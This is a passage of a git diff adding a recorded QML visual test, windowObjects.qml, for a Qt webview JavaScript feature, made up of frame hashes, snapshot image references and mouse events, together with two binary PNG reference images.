diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png
new file mode 100644
index 00000000..241b9f8b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png
new file mode 100644
index 00000000..1877cb26
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml
new file mode 100644
index 00000000..07aa13d2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/windowObjects.qml
@@ -0,0 +1,2643 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 32
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 48
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 64
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 80
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 96
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 112
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 128
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 144
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 160
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 176
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 192
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 208
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 224
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 240
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 256
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 272
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 288
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 304
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 320
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 336
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 352
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 368
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 384
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 400
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 416
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 432
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 448
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 464
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 480
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 496
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 512
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 528
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 544
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 560
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 576
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 592
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 608
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 624
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 640
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 656
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 672
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 688
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 704
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 720
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 736
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 752
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 768
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 784
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 800
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 816
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 832
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 848
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 864
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 880
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 896
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 912
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 928
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 944
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 960
+ image: "windowObjects.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 992
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1008
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1024
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1040
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 155; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 145; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 137; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 127; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 119; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 111; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 109
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 125
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 133
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1168
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1200
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1216
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1232
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1248
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1280
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1328
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1344
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1408
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1424
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1440
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1456
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1472
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1488
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1504
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1520
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1536
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1552
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1568
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1584
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1600
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1616
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1632
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1648
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1664
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1680
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1696
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1712
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1728
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1744
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1760
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1776
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1792
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1808
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1824
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1840
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1856
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1872
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1888
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1904
+ hash: "b1a19797afefa71e30f4594064aa4951"
+ }
+ Frame {
+ msec: 1920
+ image: "windowObjects.1.png"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 89; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1936
+ hash: "fca76207a4fa6f2c4bb01d28aa018f0c"
+ }
+ Frame {
+ msec: 1952
+ hash: "fca76207a4fa6f2c4bb01d28aa018f0c"
+ }
+ Frame {
+ msec: 1968
+ hash: "fca76207a4fa6f2c4bb01d28aa018f0c"
+ }
+ Frame {
+ msec: 1984
+ hash: "fca76207a4fa6f2c4bb01d28aa018f0c"
+ }
+ Frame {
+ msec: 2000
+ hash: "fca76207a4fa6f2c4bb01d28aa018f0c"
+ }
+ Frame {
+ msec: 2016
+ hash: "fca76207a4fa6f2c4bb01d28aa018f0c"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 89; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2032
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2048
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2064
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2080
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2096
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2112
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2128
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2144
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2160
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2176
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2192
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2208
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2224
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2240
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2256
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2272
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2288
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 175
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2336
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2352
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 195
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2368
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2384
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 59; y: 221
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2400
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2416
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2432
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2448
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2464
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2480
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2496
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2512
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2528
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2544
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2560
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2576
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2592
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2608
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2624
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2640
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2656
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2672
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2688
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2704
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2720
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2736
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 49; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 50; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2752
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 50; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 51; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2784
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 51; y: 221
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 52; y: 220
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2800
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 52; y: 218
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2816
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 53; y: 217
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2832
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2848
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2864
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 54; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2880
+ image: "windowObjects.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2912
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2928
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2960
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 2976
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 57; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3008
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3024
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3040
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3056
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3072
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3088
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3104
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 57; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3136
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3152
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3168
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3184
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3200
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3216
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Frame {
+ msec: 3232
+ hash: "6927f81ca01ef75d204994aa82c60c4d"
+ }
+ Key {
